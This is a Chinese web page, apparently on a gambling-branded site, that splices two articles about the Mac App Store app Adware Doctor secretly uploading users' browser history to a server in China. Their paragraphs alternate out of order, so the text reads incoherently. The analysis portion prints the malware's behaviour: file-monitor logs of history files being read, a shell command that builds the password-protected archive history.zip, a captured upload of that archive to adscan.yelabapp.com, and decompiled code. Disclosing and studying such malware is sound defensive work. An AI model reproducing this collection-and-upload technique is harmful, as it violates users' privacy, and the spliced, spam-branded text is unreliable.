您的位置:beat365亚洲官方网站 > 互联网资讯 > 被指向中国服务器提供数据,Mac App Store下架排名

被指向中国服务器提供数据,Mac App Store下架排名

2019-10-24 10:00

原标题:Mac App Store 审核漏洞大,安全应用居然偷起了用户浏览器历史

原标题:被指向中国服务器提供数据,Mac App Store下架排名第一的付费安软

beat365亚洲官方网站 1

前言

雷锋网按,一直以来“安全无毒”都是 Mac 生态的一大卖点,但现在这里可是越来越不安全了。最近,Mac App Store 上排名第一的付费工具应用 Adware Doctor 就被抓包了,它居然偷偷记录起了用户的浏览器历史,而且还将这些私密数据发到了一台位于中国的服务器上。

近日有外媒报道,Mac App Store中付费安全软件中排名第一的Adware Doctor被研究人员发现在未经用户同意的情况下收集浏览历史,并将数据发送至位于中国的服务器,之后被Mac App Store下架。

安全研究专家 Patrick Wardle 表示,自己在一个月前向苹果通报了这一问题,但这件事在苹果那里却没了下文。

在被下架之前,Adware Doctor是一款广受用户欢迎的安全应用,旨在保护用户的浏览器免受广告软件和恶意软件威胁。国外研究人员解构了此次发生的下架事件的前因后果。

Threatpost 指出,这款应用看起来可是相当清白,而且它还是 Mac App Store 上的明星付费应用,位列 Final Cut Pro、Magnet 和 Logic Pro X 之后。

Adware Doctor

在应用商店中,Adware Doctor 卖4.99 美元,它不但经过了苹果的审核,评分还高达 4.8 分。在应用描述中,开发商表示 Adware Doctor 能“防御恶意软件和文件感染你的 Mac。”

在Adware Doctor的宣传中,它是Mac用户抵御各种常见广告软件威胁的“最佳应用”:

Wardle 专门对这款应用做了深入挖掘,他发现这款应用会新建一个名为 history.zip 的密码保护存档,随后应用会将该文档上传到一台位于中国的服务器。对一些文档进行查阅后他发现这里面居然有 Chrome、火狐等浏览器的历史记录。当然,苹果自家的 Safari 也跑不了。

beat365亚洲官方网站 2

Wardle 强调,虽然 macOS 中的沙盒能防止应用接入属于其他应用的数据,但 Adware Doctor 首次运行时会要求通用存取权限,这样即使它在后台搞恶意扫描,也不会显出可疑迹象。同时 Wardle 还发现,该应用能接入正在运行的进程,而沙盒在这时也应该起作用。

在Mac App Store中,这款应用程序非常受欢迎,在最畅销的应用程序中排名第四,因此连苹果Mac App Store网站都列出了它的信息:

但讽刺的是,这块应用居然用苹果的代码绕过了苹果的保护机制。他表示:“说实话,这段代码完全是从苹果的 GetBSDProcessList 代码中复制粘贴的,显然它们很清楚这是苹果沙盒的弱点,而这样的操作方法肯定是未经批准的(因为它会与苹果沙盒隔离机制相抵触)。”

beat365亚洲官方网站 3

除此之外,这款应用还会记录你下载的应用及其来源。

在“付费实用工具”分类中,Adware Doctor排名第一:

截至发稿前,这台位于中国的神秘服务器已经下线,苹果也将 Adware Doctor 踢出了 Mac App Store。

beat365亚洲官方网站 4

在 Wardle 看来,有恶意应用不可怕,可怕的是苹果在收到提醒后一个月居然都无动于衷,Mac App Store 也不是百分之百安全了。

事件解构

Adware Doctor 并非个例

研究人员使用静态分析(反编译)和动态分析(网络监控、文件监控和调试)的方法对这款应用程序进行了研究,以下是过程和结果。

不过,苹果 Mac App Store 的麻烦还没完,一些“行为不端”的应用又陆续被挖了出来。这些应用会用花言巧语(病毒扫描或是清理缓存)劝说用户交出根目录的访问权,但事实上它们的根本目的还是采集用户数据,浏览器历史更是这些坏应用的最爱。采集完数据后,它们还会将其上传到自己的分析服务器。

首先,研究人员从Mac App Store下载 Adware Doctor,确认该应用程序(与Mac App Store中的所有应用程序一样)由苹果正常签发:

第二波下架应用中,最引人注目的是一家名为“趋势科技有限公司”的开发商(可能是家李鬼公司),它们出品的多款应用都存在类似问题。其实此前就有用户在 Malwarebytes 论坛反映了这一问题,研究人员进行调查后发现,这些应用与 Adware Doctor 手法类似,它们会搜集并将用户浏览器历史上传到自家服务器。至于建文档和采集其他应用的数据,它们也没落下,就连欺骗用户获取相关权限时用的说辞都差不多。

beat365亚洲官方网站 5

虽然不收费,但这些应用也是 Mac App Store 最受欢迎的应用,可见苹果商店的隐私安全问题已经相当严重。

启动应用程序,观察到它通过HTTPS发出各种网络请求。例如,连接到adwareres.securemacos.com通过GET请求/AdwareDoctor/master.1.5.5.js:

下一步,苹果可得收紧 Mac App Store 的审核了,否则再强大的沙盒恐怕也挡不住坏心眼,现在是浏览器历史被偷,未来恐怕用户的 iMessage 聊天记录、email 也会被染指。

beat365亚洲官方网站 6

Mac 用户下次下载应用时也得长个心眼了,苹果并不等同于绝对安全。如果有应用要你的根目录访问权,赶紧拒绝。(公众号:雷锋网)

如图所示,下载的master.1.5.5.js文件包含基本JSON配置数据:

雷锋网Via. 9to5mac返回搜狐,查看更多

{

责任编辑:

“disable_rate”:false,

“disable_prescan”:false,

“sk_on”:false,

“faq_link”:“http://www.adwaredoctor.com/adware-doctor-faq/”

}

单击应用程序界面中的“Clean”按钮会触发另一个到adwareres.securemacos.com的网络请求,这次下载的是名为config1.5.0.js的第二个文件:

beat365亚洲官方网站 7

这次下载的config1.5.0.js文件包含更多JSON,最值得注意的是这款软件的数据库的链接:

beat365亚洲官方网站,{

“update”:true,

“version”:“201808243”,

“url”:“https://adwareres.securemacos.com/patten/file201808243.db”

}

然后是一个看起来很正常的数据库更新过程:

beat365亚洲官方网站 8

研究人员查看了数据库的内容,是加密的(符合反广告软件/反恶意软件的做法):

beat365亚洲官方网站 9

使用调试器捕获应用程序在内存中解密的文件,然后转储纯文本内容:

(lldb)

binaryContentMatchPatten = ({

md5 = (

48a96e1c00be257debc9c9c58fafaffe,

f1a19b8929ec88a81a6bdce6d5ee66e6,

3e653285b290c12d40982e6bb65928c1,

801e59290d99ecb39fd218227674646e,

8d0cd4565256a781f73aa1e68e2a63de,

e233edd82b3dffd41fc9623519ea281b,

1db830f93667d9c38dc943595dcc2d85,

...

browserHomePagePatten = (

{

name = "Chrome homepage: safefinder";

patten = "Chrome.*feed\.snowbitt\.com.*publisher=tingnew";

},

{

name = "Chrome homepage: safefinder";

patten = "Chrome.*feed\.snowbitt\.com.*publisher=TingSyn";

},

{

name = "Chrome homepage: safefinder";

patten = "Chrome.*searchword.*/90/";

},

...

filePathPatten = (

"/Applications/WebShoppers",

"/Applications/WebShoppy",

"/Applications/SoftwareUpdater",

"/Applications/webshoppers",

"~/Library/Application Support/WebTools",

"~/Library/WebTools",

"/Applications/WebTools",

"/Applications/WebTools.app",

"/Applications/SmartShoppy",

"/Applications/ShopTool",

"/Applications/ShoppyTool",

"/Applications/EasyShopper",

...

launchPathMatchPatten = (

"com.WebShoppers.agent.plist",

"com.WebShoppy.agent.plist",

"com.webshoppers.agent.plist",

"com.SoftwareUpdater.agent.plist",

...

whitelist = (

"~/Library/LaunchAgents/com.spotify.webhelper.plist",

"/Library/LaunchDaemons/com.intel.haxm.plist",

"/Library/LaunchDaemons/net.privatetunnel.ovpnagent.plist",

"/Library/LaunchDaemons/com.mixlr.MixlrAudioLink.plist",

"/Library/LaunchDaemons/com.mcafee.ssm.Eupdate.plist",

"/Library/LaunchDaemons/com.mcafee.ssm.ScanFactory.plist",

"/Library/LaunchDaemons/com.mcafee.ssm.ScanManager.plist",

"/Library/LaunchDaemons/com.mcafee.virusscan.fmpd.plist",

"/Library/LaunchDaemons/com.microsoft.autoupdate.helper.plist",

"/Library/LaunchAgents/com.microsoft.update.agent.plist",

"/Library/LaunchDaemons/com.crashplan.engine.plist"

...

这些特征看起来是一款反广告软件,并且哈希值确实与已知的广告软件匹配:

beat365亚洲官方网站 10

例如Adware.MAC.Pirrit:

beat365亚洲官方网站 11

回到Adware Doctor应用界面,它已准备好清理用户的系统:

beat365亚洲官方网站 12

直到上面一步并没有出现异常,但后面对不对了。

首先,在运行文件监视器(例如MacOS内置的fs_usage)和对包含历史记录的文件进行过滤(不区分大小写)后,一些异常的文件访问历史显现出来:

# fs_usage -w -f filesystem | grep "Adware Doctor" | grep -i history

Adware Doctor.44148 open ~/Library/Application Support/CallHistoryTransactions

Adware Doctor.44148 open ~/Library/Application Support/CallHistoryDB

Adware Doctor.44148 RdData[A] /dev/disk1s1/Users/user/Library/Safari/History.db

Adware Doctor.44148 lstat64 /Users/user/Library/Application Support/Google/Chrome/Default/History

Adware Doctor.44148 open ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history.zip

Adware Doctor.44148 lstat64 ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/psCommonInfo

Adware Doctor.44148 WrData[A] ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/appstoreHistory

Adware Doctor.44148 WrData[A] ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/safariHistory

Adware Doctor.44148 WrData[A] ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/chromeHistory

Adware Doctor.44148 WrData[A] ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/firefoxHistory

运行进程监视器(例如开源的ProcInfo实用程序),可以观察到Adware Doctor使用内建zip实用程序创建受密码保护的history.zip存档:

# ./procInfo

process start:

pid: 2634

path: /bin/bash

args: (

"/bin/bash",

"-c",

"zip -r --quiet -P webtool "/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history.zip" "/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history" > /dev/null"

)

使用网络代理监视器(Charles Proxy)捕获Adware Doctor到adscan.yelabapp.com的连接尝试:

beat365亚洲官方网站 13

通过编辑系统的/etc/hosts文件,将此请求重定向到研究人员控制的服务器,捕获到Adware Doctor尝试上传history.zip文件:

# python https.py

listening for for HTTPS requests on port:443

192.168.86.76 - - [20/Aug/2018 10:53:24] "POST /1/checkadware HTTP/1.1" 200 -

Headers:

Host: adscan.yelabapp.com

Content-Type: multipart/form-data; boundary=Boundary-E2AE6908-4FC6-4C1D-911A-0B34F844C510

Connection: keep-alive

Accept: */*

User-Agent: Adware%20Doctor/1026 CFNetwork/902.1 Darwin/17.7.0 (x86_64)

Content-Length: 15810

Accept-Language: en-us

Accept-Encoding: br, gzip, deflate

Path: /1/checkadware

Attachment: 'history.zip' (length: 15810)

待上传的“history.zip”文件受密码保护:

beat365亚洲官方网站 14

回看进程监视器的输出,密码被发送到内建的zip实用程序:zip -r –quiet -P webtool …。

密码也被编码到应用程序的二进制文件中,因此反编译二进制文件即可获得密码。

输入webtool作为密码解压文件:

beat365亚洲官方网站 15

查看解压出来的内容,Adware Doctor在暗地里收集用户的浏览器历史记录:

$ cat com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/chromeHistory

Person 1:

https://www.google.com/search?q=if+i+punch+myself+in+the+face+and+it+hurts+does+that+make+me+weak+or+strong 2018-08-20 21:19:57

https://www.google.com/search?q=does+your+stomach+think+all+potatoes+are+mashed 2018-08-20 21:19:36

$ cat com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/safariHistory

https://www.google.com/search?client=safari&rls=en&q=What+are+the+best+investment+opportunities+in+Nigeria1397-06-02 08:29:41

https://www.google.com/search?client=safari&rls=en&q=Where+do+lost+socks+go+when+they+go+missing 1397-06-02 08:29:20

深入分析

看到这里,有三个问题需要解答:

它如何绕过Mac App Store的沙盒机制来访问用户的文件?

它如何收集用户的浏览器历史记录?

它还收集了哪些系统信息和个人身份信息(PII)?

从安全和隐私的角度来看,从官方Mac App Store安装应用程序的主要优势有两点:

程序经过苹果官方审查和签发;

程序在沙盒中运行。

当应用程序在沙箱中运行时,可以访问的文件或用户信息非常有限,应该不能访问用户的浏览器历史记录,但这里Adware Doctor做到了。

通过工具(WhatsYourSign)查看该应用程序的权限,包含:com.apple.security.files.user-selected.read-write:

beat365亚洲官方网站 16

这项权限意味着应用程序可以请求某些文件的权限,并且得到明确的用户批准后,对文件进行读/写操作。Adware Doctor在第一次运行时,会请求访问用户的主目录以及下面的所有文件和目录:

beat365亚洲官方网站 17

这是通过[MainWindowController showFileAccess]方法实现的:

/ * @class MainWindowController * /

- (void)showFileAccess {

r15 = self;

var_30 = [[AppSandboxFileAccess fileAccess] retain];

r13 = [[AppSandboxFileAccess fileAccess] retain];

rbx = [[BSUtil realHomeDirectory] retain];

r14 = [r13 hasAccessPremisionPath:rbx];

...

在AppSandboxFileAccess类的帮助下:

beat365亚洲官方网站 18

在调试器(lldb)中,观察用户主目录的访问尝试:

Adware Doctor -[AppSandboxFileAccess hasAccessPremisionPath:]:

-> 0x10000cebf <+0>: pushq %rbp

0x10000cec0 <+1>: movq %rsp, %rbp

0x10000cec3 <+4>: pushq %r15

0x10000cec5 <+6>: pushq %r14

(lldb) po $rdi

(lldb) x/s $rsi

0x10006a147: "hasAccessPremisionPath:"

(lldb) po $rdx

/Users/user

现在,Adware Doctor可以合法访问用户的文件和目录,例如扫描以查找恶意代码。但是,一旦用户点击允许,Adware Doctor将具备对所有用户文件的全部访问权限,它使用了多种收集系统和用户信息的方法。虽然某些(例如进程列表)可能确实是用于反恶意软件或反广告软件的操作,但其他用户信息(例如用户的浏览历史记录)违反了严格的Mac App Store规则。

收集方法在ACEAdwareCleaner类中实现,并命名为collect *:

beat365亚洲官方网站 19

逆向一下部分方法

首先是collectSample方法。此方法查询应用程序下载的数据库。看起来它用于寻找收集样本中指定的文件:

- (void)collectSample {

...

rbx = [r15 pattenDic];

r14 = [rbx valueForKey:@“sample”];

在调试器中跳过此代码,并检查示例键的未加密值:

(lldb)“/ Application / Adware Doctor.app”

...

本文由beat365亚洲官方网站发布于互联网资讯,转载请注明出处:被指向中国服务器提供数据,Mac App Store下架排名

关键词: